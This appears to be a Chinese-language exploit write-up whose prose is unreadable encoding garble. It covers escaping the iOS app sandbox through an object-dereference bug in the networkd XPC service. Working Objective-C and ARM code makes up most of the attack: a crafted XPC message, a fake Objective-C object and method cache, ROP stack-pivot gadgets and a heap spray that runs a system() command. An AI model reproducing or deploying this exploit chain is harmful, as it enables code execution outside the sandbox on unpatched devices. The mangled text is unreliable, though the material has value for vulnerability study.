0x00
Ðò
±ùÖ¸µÄÊÇÓû§Ì¬£¬»ðÖ¸µÄÊÇÄÚºË̬¡£ÈçºÎÍ»ÆÆÏñ±ùÏäÒ»ÑùµÄÓû§Ì¬É³ºÐ×îÖÕµ½´ï²¢¿ØÖÆÈç»ðÑæÒ»°ãȼÉÕµÄÄں˾ÍÊÇ¡¶iOS±ùÓë»ðÖ®¸è¡·ÕâһϵÁÐÎÄÕ½«Òª½²ÊöµÄÄÚÈÝ¡£Õâ´Î¸ø´ó¼Ò´øÀ´µÄÊÇÀûÓÃXPCÍ»ÆÆappɳºÐ£¬²¢¿ØÖÆÆäËû½ø³ÌµÄpc£¨program
counter£©Ö´ÐÐsystemÖ¸Áî¡£
¡¶iOS±ùÓë»ðÖ®¸è¡·ÏµÁеÄĿ¼ÈçÏ£º
Objective-C Pwn and iOS arm64 ROP
ÔÚ·ÇÔ½ÓüµÄiOSÉϽøÐÐApp Hook£¨·¬ÍâÆª£©
App Hook´ðÒÉÒÔ¼°iOS 9ÔÒ¿Ç£¨·¬ÍâÆª£©
ÀûÓÃXPC¹ýAppɳºÐ
0x01 ʲôÊÇXPC
ÔÚiOSÉÏÓкܶàIPC(ÄÚ²¿½ø³ÌͨѶ)µÄ·½·¨£¬×î¼òµ¥×î³£¼ûµÄIPC¾ÍÊÇURL Schemes£¬Ò²¾ÍÊÇappÖ®¼ä»¥Ïàµ÷Æð²¢ÇÒ´«Ëͼòµ¥×Ö·ûµÄÒ»ÖÖ»úÖÆ¡£±ÈÈçÎÒÓÃ
[[UIApplication sharedApplication] openURL:url] Õâ¸öapiÔÙÅäºÏ"
alipay:// ", ¡° wechat:// ¡±µÈurl£¬¾Í¿ÉÒÔµ÷ÆðÖ§¸¶±¦»òÕß΢ÐÅ¡£
½ñÌìÒª½²µÄXPC±ÈURLSchemeÒªÉÔ΢¸´ÔÓÒ»µã¡£XPCÒ²ÊÇiOS IPCµÄÒ»ÖÖ£¬Í¨¹ýXPC£¬app¿ÉÒÔÓëһЩϵͳ·þÎñ½øÐÐͨѶ£¬²¢ÇÒÕâЩϵͳ·þÎñÒ»°ã¶¼ÊÇÔÚɳºÐÍâµÄ£¬Èç¹ûÎÒÃÇ¿ÉÒÔͨ¹ýIPC¿ØÖÆÕâЩ·þÎñµÄ»°£¬Ò²¾Í³É¹¦µÄ×öµ½É³ºÐÌÓÒÝÁË¡£AppÔÚɳºÐÄÚ¿ÉÒÔͨ¹ýXPC·ÃÎʵķþÎñ´ó¸ÅÓÐÈýËÄÊ®¸ö£¬ÊýÁ¿»¹ÊǷdz£¶àµÄ¡£
ÏëÒªÓëÕâЩXPC·þÎñͨѶÎÒÃÇÐèÒª´´½¨Ò»¸öXPC client£¬´«ÊäµÄÄÚÈÝÒªÓëXPC service½ÓÊÕµÄÄÚÈݶÔÓ¦ÉÏ£¬±ÈÈçϵͳ·þÎñ¿ÉÄܻῪÕâÑùÒ»¸öXPC
service£º
#!objc xpc_connection_t listener = xpc_connection_create_mach_service("com.apple.xpc.example", NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER); xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) { // Connection dispatch xpc_connection_set_event_handler(peer, ^(xpc_object_t event) { // Message dispatch xpc_type_t type = xpc_get_type(event); if (type == XPC_TYPE_DICTIONARY){ //Message handler } }); xpc_connection_resume(peer); }); xpc_connection_resume(listener); |
Èç¹ûÎÒÃÇ¿ÉÒÔÔÚɳºÐÄÚ½øÐзÃÎʵϰ£¬ÎÒÃÇ¿ÉÒÔͨ¹ý½¨Á¢XPCµÄ¿Í»§¶Ë½øÐÐÁ¬½Ó£º
#!objc xpc_connection_t client = xpc_connection_create_mach_service ("com.apple.xpc.example", NULL, 0); xpc_connection_set_event_handler(client, ^(xpc_object_t event) { }); xpc_connection_resume(client); xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64 (message, "value", 0); xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, message); |
ÔËÐÐÉÏÊö³ÌÐòºó£¬ÔÚserver¶ËÄDZ߾ͿÉÒÔÊÕµ½client¶ËµÄÏûÏ¢ÁË¡£
ÎÒÃÇÖªµÀ£¬xpc´«ÊäµÄÆäʵ¾ÍÊÇÒ»¶Î¶þ½øÖÆÊý¾Ý¡£±ÈÈçÎÒÃÇ´«ÊäµÄxpc_dictionaryÊÇÕâÑùµÄ£º

ʵ¼Ê´«ÊäµÄÊý¾ÝÈ·ÊÇÕâÑùµÄ£¨Í¨¹ýlldb£¬È»ºó
break set --name _xpc_serializer_get_dispatch_mach_msg |
¾Í¿ÉÒÔ¿´µ½£©£º

¿ÉÒÔ¿´µ½ÕâЩ´«ÊäµÄÊý¾Ý¶¼¾¹ýÐòÁл¯×ª»»³É¶þ½øÖÆdata£¬È»ºóµÈdata´«µÝµ½ÏµÍ³serviceµÄ·þÎñ¶ËÒÔºó£¬ÔÙͨ¹ý·´ÐòÁл¯º¯Êý»¹Ô»ØÔʼµÄÊý¾Ý¡£
ÎÒÃÇÖªµÀÕý³£°²×°ºóµÄappÊÇmobileȨÏÞ£¬µ«ÊDZ»sandboxÏÞÖÆÔÚÁËÒ»¸öÏÁСµÄ¿Õ¼äÀï¡£Èç¹ûϵͳ·þÎñÔÚ½ÓÊÕXPCÏûÏ¢µÄʱºò³öÏÖÁËÎÊÌ⣬±ÈÈçObject
Dereference©¶´µÈ£¬¾Í¿ÉÄÜÈÃclient¶Ë¿ØÖÆserver¶ËµÄpc¼Ä´æÆ÷£¬´Ó¶øÀûÓÃropÖ´ÐÐÈÎÒâÖ¸Áî¡£ËäÈ»´ó¶àÊýϵͳ·þÎñÒ²ÊÇmobileȨÏÞ£¬µ«ÊÇ´ó¶àÊýϵͳ·þÎñ²¢Ã»Óб»sandbox£¬Òò´Ë¾Í¿ÉÒÔÓµÓжÁÈ¡»òÐ޸Ĵó¶àÊýÎļþµÄȨÏÞ»òÕßÊÇÖ´ÐÐһЩÄܹ»·ÃÎÊkernelµÄapi´Ó¶ø´¥·¢panic¡£
0x02 Com.apple.networkd Object Dereference©¶´·ÖÎö
Com.apple.networkd ÊÇÒ»¸öappɳºÐÄÚ¿É´ïµÄxpcϵͳ·þÎñ¡£Õâ¸ö·þÎñ¶ÔÓ¦µÄbinaryÊÇ/usr/libexec/networkd¡£ÎÒÃÇ¿ÉÒÔͨ¹ýps¿´µ½Õâ¸ö·þÎñµÄȨÏÞÊÇ_networkd£º

ËäȻûÓÐrootȨÏÞ£¬µ«ÊÇÒ²¼¸ºõ¿ÉÒÔ×öµ½É³ºÐÍâÈÎÒâÎļþ¶ÁдÁË¡£ÔÚiOS 8.1.3¼°Ö®Ç°°æ±¾£¬Õâ¸öXPCϵͳ·þÎñ´æÔÚObject
Dereference©¶´£¬Õâ¸ö©¶´ÊÇÓÉGoogle Project ZeroµÄIanBeer·¢Ïֵ쬵«Ëû¸øµÄpocÖ»ÊÇMac
OS XÉϵ쬲¢ÇÒhardcodeÁËºÜ¶àµØÖ·¡£¶ø±¾ÆªÎÄÕ½«ÒÔiphone 4s, arm32, 7.1.1Ϊ²âÊÔ»ú£¬Ò»²½Ò»²½½²½âÈçºÎÕÒµ½ÕâЩhardcodeµÄµØÖ·ºÍgadgets£¬²¢ÀûÓÃÕâ¸ö©¶´×öµ½appµÄɳºÐÌÓÒÝ¡£
ÎÊÌâ³öÔÚcom.apple.networkdÕâ¸ö·þÎñµÄ char *__fastcall sub_A878(int
a1) Õâ¸öº¯ÊýÖУ¬¶Ô´«ÈëµÄ¡± effective_audit_token ¡±Õâ¸öֵûÓÐ×öÀàÐÍУÑ飬¾ÍÖ±½Óµ±³Éxpc_dataÕâÖÖÊý¾ÝÀàÐͽøÐнâÎöÁË£º

È»¶øÈç¹ûÎÒÃÇ´«¹ýÈ¥µÄÖµ²¢²»ÊÇÒ»¸öxpc_data£¬networkdÒ²»áµ±Õâ¸öÖµÊÇÒ»¸öxpc_data£¬²¢´«¸ø
_xpc_data_get_bytes_ptr() À´½øÐнâÎö£º

½âÎöÍê³Éºó£¬ÎÞÂÛÕâ¸ö¶ÔÏóÊÇ·ñ·ûºÏservice³ÌÐòµÄÔ¤ÆÚ£¬³ÌÐò¶¼»áµ÷Óà _dispatch_objc_release()
Õâ¸öº¯ÊýÀ´releaseÕâ¸ö¶ÔÏó¡£Òò´Ë£¬ÎÒÃǾÍÏëµ½ÁËÊÇ·ñ¿ÉÒÔαÔìÒ»¸öobjective-CµÄ¶ÔÏó£¬Í¬Ê±½«Õâ¸ö¶ÔÏóµÄrelease()º¯Êý¸ø¼ÓÈëµ½cacheÀÕâÑùµÄ»°£¬ÔÚ³ÌÐòreleaseÕâ¸ö¶ÔÏóµÄʱºò£¬¾Í¿ÉÒÔ¿ØÖÆpcÖ¸ÕëÖ¸ÏòÎÒÃÇÏëÒªÖ´ÐеÄROPÖ¸ÁîÁË¡£
Êǵģ¬Õâ¸öÏë·¨ÊÇ¿ÉÐеġ£Ê×ÏÈÎÒÃÇÒª×öµÄÊǸù¾ÝÊý¾Ý´«ÊäµÄÐÒ飨ͨ¹ý·´±àÒënetworkdµÃµ½£©¹¹ÔìÏàÓ¦µÄxpcÊý¾Ý£º
#!objc xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(dict, "type", 6); xpc_dictionary_set_uint64(dict, "connection_id", 1); xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0); xpc_object_t conn_list = xpc_array_create(NULL, 0); xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(arr_dict, "hostname", "example.com"); xpc_array_append_value(conn_list, arr_dict); xpc_dictionary_set_value(params, "connection_entry_list", conn_list); uint32_t uuid[] = {0x0, 0x1fec000}; xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid); xpc_dictionary_set_uint64(params, "start", 0); xpc_dictionary_set_uint64(params, "duration", 0); xpc_dictionary_set_value(dict, "parameters", params); xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64(state, "power_slot", 0); xpc_dictionary_set_value(dict, "state", state); |
ËæºóÎÒÃÇ¿ÉÒÔʹÓà NSLog(@"%@",dict); ½«ÎÒÃǹ¹ÔìºÃÒÔºóµÄxpcÊý¾Ý´òÓ¡³öÀ´£º

³ýÁËeffective_audit_tokenÒÔÍâµÄÆäËûÊý¾Ý¶¼ÊÇÕý³£µÄ¡£ÎªÁ˹¥»÷Õâ¸öϵͳ·þÎñ£¬ÎÒÃǰÑ
effective_audit_token µÄÖµÓà xpc_dictionary_set_uuid ÉèÖÃΪ
{0x0, 0x1fec000}; ¡£0x1fec000Õâ¸öµØÖ·±£´æµÄ½«»áÊÇÎÒÃÇαÔìµÄObjective-C¶ÔÏó¡£¹¹ÔìÍêxpcÊý¾Ýºó£¬ÎÒÃǾͿÉÒÔ½«Êý¾Ý·¢Ë͵½networkd·þÎñ¶Ë´¥·¢Â©¶´ÁË¡£µ«ÈçºÎ¹¹ÔìÒ»¸öαÔìµÄObjectC¶ÔÏó£¬ÒÔ¼°ÈçºÎ½«Î±ÔìµÄ¶ÔÏó±£´æµ½Õâ¸öµØÖ·ÄØ£¿Çë¼ÌÐø¿´ÏÂÒ»Õ¡£
0x03 ¹¹Ôìfake Objective-C¶ÔÏóÒÔ¼°Stack Pivot
Ê×ÏÈÎÒÃÇÐèҪͨ¹ýαÔìÒ»¸öfake Objective-C¶ÔÏóºÍ¹¹ÔìÒ»¸ö¼ÙµÄcacheÀ´¿ØÖÆpcÖ¸Õë¡£Õâ¸ö¼¼ÊõÎÒÃÇÒѾÔÚ¡¶iOS±ùÓë»ðÖ®¸è
¨C Objective-C Pwn and iOS arm64 ROP¡·ÖнéÉÜÁË¡£¼òµ¥ËµÒ»ÏÂ˼·£º
µÚÒ»²½£¬ÎÒÃÇÐèÒªÕÒµ½selectorÔÚÄÚ´æÖеĵØÖ·£¬Õâ¸öÎÊÌâ¿ÉÒÔʹÓà NSSelectorFromString()
Õâ¸öϵͳ×Ô´øµÄAPIÀ´½â¾ö£¬±ÈÈçÎÒÃÇÐèÒªÓõ½¡±release¡±Õâ¸öselectorµÄµØÖ·£¬¾Í¿ÉÒÔʹÓà NSSelectorFromString(@"release")
À´»ñÈ¡¡£
µÚ¶þ²½£¬ÎÒÃÇÒª¹¹½¨Ò»¸ö¼ÙµÄreceiver£¬¼ÙµÄreceiverÀïÓÐÒ»¸öÖ¸Ïò¼ÙµÄobjc_classµÄÖ¸Õ룬¼ÙµÄobjc_classÀïÓÖ±£´æÁ˼ٵÄcache_bucketsµÄÖ¸ÕëºÍmask¡£¼ÙµÄcache_bucketsµÄÖ¸Õë×îÖÕÖ¸ÏòÎÒÃǽ«ÒªÎ±ÔìµÄselectorºÍselectorº¯ÊýµÄµØÖ·¡£Õâ¸öαÔìµÄº¯ÊýµØÖ·¾ÍÊÇÎÒÃÇÒªÖ´ÐеÄROPÁ´µÄÆðʼµØÖ·¡£
×îÖÕ´úÂëÈçÏ£º
#!objc hs->fake_objc_class_ptr = &hs->fake_objc_class; hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket; hs->fake_objc_class.cache_bucket_mask = 0; hs->fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release"); hs->fake_cache_bucket.cached_function = start address of ROP chain |
¼ÈȻͨ¹ýfake Objective-C¶ÔÏó£¬ÎÒÃÇ¿ØÖÆÁËxpc serviceµÄpc£¬ÎÒÃǾͿÉÒÔÔÚsandboxÍâ×öЩÊÂÇéÁË¡£µ«ÒòΪDEPµÄ¹ØÏµ£¬Èç¹ûÎÒÃÇûÓиøkernel´òpatch£¬ÎÒÃDz¢²»ÄÜÖ´ÐÐÈÎÒâµÄshellcode¡£Òò´ËÎÒÃÇÐèÒªÓÃROPÀ´´ïµ½ÎÒÃǵÄÄ¿µÄ¡£ËäÈ»program
image£¬library£¬¶ÑºÍÕ»µÈ¶¼ÊÇËæ»ú£¬µ«ºÃÏûÏ¢ÊÇ dyld_shared_cache Õâ¸ö¹²Ïí»º´æµÄµØÖ·¿ª»úºóÊǹ̶¨µÄ£¬²¢ÇÒÿ¸ö½ø³ÌµÄ
dyld_shared_cache ¶¼ÊÇÏàͬµÄ¡£Õâ¸ö dyld_shared_cache Óкü¸°ÙM´ó£¬»ù±¾ÉÏ¿ÉÒÔÂú×ãÎÒÃǶÔgadgetsµÄÐèÇó¡£Òò´ËÎÒÃÇÖ»ÒªÔÚ×Ô¼ºµÄ½ø³Ì»ñÈ¡
dyld_shared_cache µÄ»ùÖ·¾ÍÄܹ»¼ÆËã³öÄ¿±ê½ø³ÌgadgetsµÄλÖá£
dyld_shared_cache ÎļþÒ»°ã±£´æÔÚ/System/Library/Caches/com.apple.dyld/Õâ¸öĿ¼Ï¡£ÎÒÃÇÏÂÔØÏÂÀ´ÒԺ󣬿ÉÒÔʹÓÃjtool½«ÀïÃæµÄdylibÌáÈ¡³öÀ´¡£±ÈÈçÎÒÃÇÏëÒªÌáÈ¡CoreFoundationÕâ¸öframework£¬¾Í¿ÉÒÔʹÓãº
jtool -extract CoreFoundation ./dyld_shared_cache_armv7
Ëæºó¾Í¿ÉÒÔÓÃROPgadgetÕâ¸ö¹¤¾ßÀ´ËÑË÷gadgetÁË¡£Èç¹ûÊÇarm32λµÄ»°£¬¼ÇµÃ¼ÓÉÏthumbģʽ£¬²»È»Ä¬ÈÏÊǰ´ÕÕarmģʽËÑË÷µÄ£¬gadget»áÉٺࣺܶ
ROPgadget --binary ./dyld_shared_cache_armv7.CoreFoundation
--rawArch=arm --rawMode=thumb
½ÓÏÂÀ´ÎÒÃÇÐèÒªÕÒµ½Ò»¸öÓÃÀ´×östack pivotµÄgadget£¬ÒòΪÎÒÃǸտªÊ¼Ö»¿ØÖÆÁËÓÐÏ޵ö¼Ä´æÆ÷£¬²¢ÇÒÕ»Ö¸ÕëÖ¸ÏòµÄµØÖ·Ò²²»ÊÇÎÒÃÇ¿ÉÒÔ¿ØÖƵģ¬Èç¹ûÎÒÃÇÏë¿ØÖÆ¸ü¶àµÄ¼Ä´æÆ÷²¢ÇÒ³ÖÐø¿ØÖÆpcµÄ»°£¬¾ÍÐèҪʹÓÃstack
pivot gadget½«Õ»Ö¸ÕëÖ¸ÏòÒ»¶ÎÎÒÃÇ¿ÉÒÔ¿ØÖƵÄÄÚ´æµØÖ·£¬È»ºóÀûÓÃpopÖ¸ÁîÀ´¿ØÖƸü¶àµÄ¼Ä´æÆ÷ÒÔ¼°PC¡£ÁíÒ»µãҪעÒâµÄÊÇ£¬Èç¹ûÎÒÃÇÏëʹÓÃthumbÖ¸Á¾ÍÐèÒª¸øÌø×ªµØÖ·1£¬ÒòΪarm
CPUÊÇͨ¹ý×îµÍλÀ´ÅжÏÊÇthumbÖ¸ÁÊÇarmÖ¸ÁîµÄ¡£ÎÒÃÇÔÚiphone4s 7.1.2ÉÏÕÒµ½µÄstack
pivot gadgetsÈçÏ£º
#!objc /* __text:2D3B7F78 MOV SP, R4 __text:2D3B7F7A POP.W {R8,R10} __text:2D3B7F7E POP {R4-R7,PC} */ hs->stack_pivot= CoreFoundation_base + 0x4f78 + 1; NSLog(@"hs->stack_pivot = 0x%08x", (uint32_t)(CoreFoundation_base + 0x4f78)); |
ÒòΪ½øÐÐstack pivotÐèÒª¿ØÖÆr4¼Ä´æÆ÷£¬µ«×ʼÎÒÃÇÖ»ÄÜ¿ØÖÆr0£¬Òò´ËÎÒÃÇÏÈÕÒÒ»¸ögadget°Ñr0µÄÖµ¸³¸ør4£¬È»ºóÔÙµ÷ÓÃstack
pivot gadget£º
#!objc /* 0x2dffc0ee: 0x4604 mov r4, r0 0x2dffc0f0: 0x6da1 ldr r1, [r4, #0x58] 0x2dffc0f2: 0xb129 cbz r1, 0x2dffc100 ; <+28> 0x2dffc0f4: 0x6ce0 ldr r0, [r4, #0x4c] 0x2dffc0f6: 0x4788 blx r1 */ hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x0009e0ee + 1; //fake_struct.stack_pivot_ptr NSLog(@"hs->fake_cache_bucket.cached_function = 0x%08x", (uint32_t)(CoreFoundation_base+0x0009e0ee)); |
¾¹ýstack pivotºó£¬ÎÒÃÇ¿ØÖÆÁËÕ»ºÍÆäËûµÄ¼Ä´æÆ÷£¬ËæºóÎÒÃǾͿÉÒÔµ÷ÓÃÏëÒªÖ´Ðеĺ¯ÊýÁË£¬±ÈÈç˵ÓÃsystemÖ¸ÁîÖ´ÐС±
touch /tmp/iceandfire ¡±¡£µ±È»ÎÒÃÇÒ²ÐèÒªÕÒµ½ÏàÓ¦µÄgadget£¬²¢ÇÒÔÚÕ»É϶ÔÓ¦µÄÕýÈ·µØÖ·ÉÏ·ÅÈëÏàÓ¦¼Ä´æÆ÷µÄÖµ£º
#!objc // 0x00000000000d3842 : mov r0, r4 ; mov r1, r5 ; blx r6 strcpy(hs->command, "touch /tmp/ iceandfire"); hs->r4=(uint32_t)&hs->command; hs->r6=(void *)dlsym(RTLD_DEFAULT, "system"); hs->pc = CoreFoundation_base+0xd3842+1; NSLog(@"hs->pc = 0x%08x", (uint32_t)(CoreFoundation_base+0xd3842)); |
×îÖÕÎÒÃÇαÔìµÄObjective-CµÄ½á¹¹Ìå¹¹ÔìÈçÏ£º
#!objc struct heap_spray { void* fake_objc_class_ptr; uint32_t r10; uint32_t r4; uint32_t r5; uint32_t r6; uint32_t r7; uint32_t pc; uint8_t pad1[0x3c]; uint32_t stack_pivot; struct fake_objc_class_t { char pad[0x8]; void* cache_buckets_ptr; uint32_t cache_bucket_mask; } fake_objc_class; struct fake_cache_bucket_t { void* cached_sel; void* cached_function; } fake_cache_bucket; char command[1024]; }; |
0x04 ¶ÑÅç(Heap Spray)
ËäÈ»ÎÒÃÇ¿ÉÒÔÀûÓÃÒ»¸öαÔìµÄObjective-C¶ÔÏóÀ´¿ØÖÆnetworkd¡£µ«ÊÇÎÒÃÇÐèÒª½«Õâ¸ö¶ÔÏó±£´æÔÚnetworkdµÄÄÚ´æ¿Õ¼äÖвÅÐУ¬²¢ÇÒÒòΪASLR£¨µØÖ·Ëæ»ú»¯£©µÄÔÒò£¬ÎÒÃǾÍËãÄܰÑαÔìµÄ¶ÔÏó´«Êä¹ýÈ¥£¬Ò²ºÜÄѼÆËã³öÕâ¸ö¶ÔÏóÔÚÄÚ´æÖеľßÌåλÖá£ÄÇôӦ¸ÃÔõô×öÄØ£¿·½·¨¾ÍÊǶÑÅç(Heap
Spray)¡£ËäÈ»ASLRÒâζ×Åÿ´ÎÆô¶¯·þÎñ£¬program image£¬library£¬¶ÑºÍÕ»µÈ¶¼ÊÇËæ»ú¡£µ«Êµ¼ÊÉÏÕâ¸öËæ»ú²¢²»ÊÇÍêÈ«µÄËæ»ú£¬Ö»ÊÇÔÚij¸öµØÖ··¶Î§ÄÚµÄËæ»ú°ÕÁË¡£Òò´ËÎÒÃÇ¿ÉÒÔÀûÓöÑÅçÔÚÄÚ´æÖÐÅç³öÒ»²¿·Ö¿Õ¼ä(¾¡¿ÉÄܵĴó£¬ÎªÁËÄܸ²¸Çµ½Ëæ»úµØÖ·µÄ·¶Î§)£¬È»ºóÔÚÀïÃæÌî³än¸öfake
Object¾Í¿ÉÒÔÁË¡£

ÎÒ½øÐЩ¶´²âÊԵĻ·¾³ÊÇ£¬iPhone4s (arm 32λ) 7.1.2£¬ÎÒÃÇÑ¡ÔñÁË0x1fec000Õâ¸öµØÖ·£¬ÒòΪ¾¹ý¶à´Î¶ÑÅç²âÊÔ£¬Õâ¸öµØÖ·¿ÉÒÔ´ïµ½½«½ü100%µÄÅçÖÐÂÊ¡£¶ÑÅçµÄ´úÂëÈçÏ£º
#!objc void* heap_spray_target_addr = (void*)0x1fec000; struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0); memset(hs, 0x00, 0x1000); size_t heap_spray_pages = 0x2000; size_t heap_spray_bytes = heap_spray_pages * 0x1000; char* heap_spray_copies = malloc(heap_spray_bytes); for (int i = 0; i < heap_spray_pages; i++){ memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000); } xpc_connection_t client = xpc_connection_create_mach_service ("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(client, ^void(xpc_object_t response) { xpc_type_t t = xpc_get_type(response); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string (response, XPC_ERROR_KEY_DESCRIPTION)); } printf("received an event\n"); }); xpc_connection_resume(client); xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_data(dict, "heap_spray", heap_spray_copies, heap_spray_bytes); xpc_connection_send_message(client, dict); |
ËæºóÎÒÃDZàÒëÖ´ÐÐÎÒÃǵÄapp£¬app»á½«fake ObjectiveC¶ÔÏóÓöÑÅçµÄ·½Ê½Ìî³äµ½networkdµÄÄÚ´æÖУ¬Ëæºóapp»á´¥·¢object
dereference©¶´À´¿ØÖÆpc£¬Ëæºóapp»áÀûÓÃropÖ´ÐÐ system("touch
/tmp/iceandfire") Ö¸Áî¡£ÔËÐÐÍêappºó£¬ÎÒÃÇ·¢ÏÖÔÚ/tmp/Ŀ¼ÏÂÒѾ³öÏÖÁËiceandfireÕâ¸öÎļþÁË£¬ËµÃ÷ÎÒÃdzɹ¦Í»ÆÆÁËɳºÐ²¢Ö´ÐÐÁËsystemÖ¸Á

0x05 ×ܽá
ÕâÆªÎÄÕÂÎÒÃǽéÉÜÁËÈçºÎÀûÓÃXPCÍ»ÆÆÉ³ºÐ£¬½øÐжÑÅ磬¿ØÖÆÏµÍ³·þÎñµÄPC£¬²¢ÇÒÀûÓÃROP½øÐÐstack pivot£¬È»ºóÖ´ÐÐsystemÖ¸Áî¡£Í»ÆÆÉ³ºÐºó£¬ËäÈ»²»Äܰ²×°µÁ°æµÄapp£¬µ«Ò»¸öapp¾Í¿ÉÒÔËæÐÄËùÓûµÄÔöɾ¸Ä²éÆäËûappµÄÎļþºÍÊý¾ÝÁË£¬ÓÐÖÖandroidÉÏrootµÄ¸Ð¾õ¡£
ËäÈ»Õâ¸ö©¶´ÒѾÔÚ8.1.3ÉÏÐÞ¸´ÁË£¬µ«²»´ú±íÒÔºó²»»á³öÏÖÀàËÆµÄ©¶´¡£±ÈÈçÎÒÃÇ·¢ÏÖµÄÕâ¸öiOS 9.3
0day¾Í¿ÉÒÔÇáËÉÍ»ÆÆ×îаæµÄiOSɳºÐ»ñÈ¡µ½ÆäËûappµÄÎļþ
|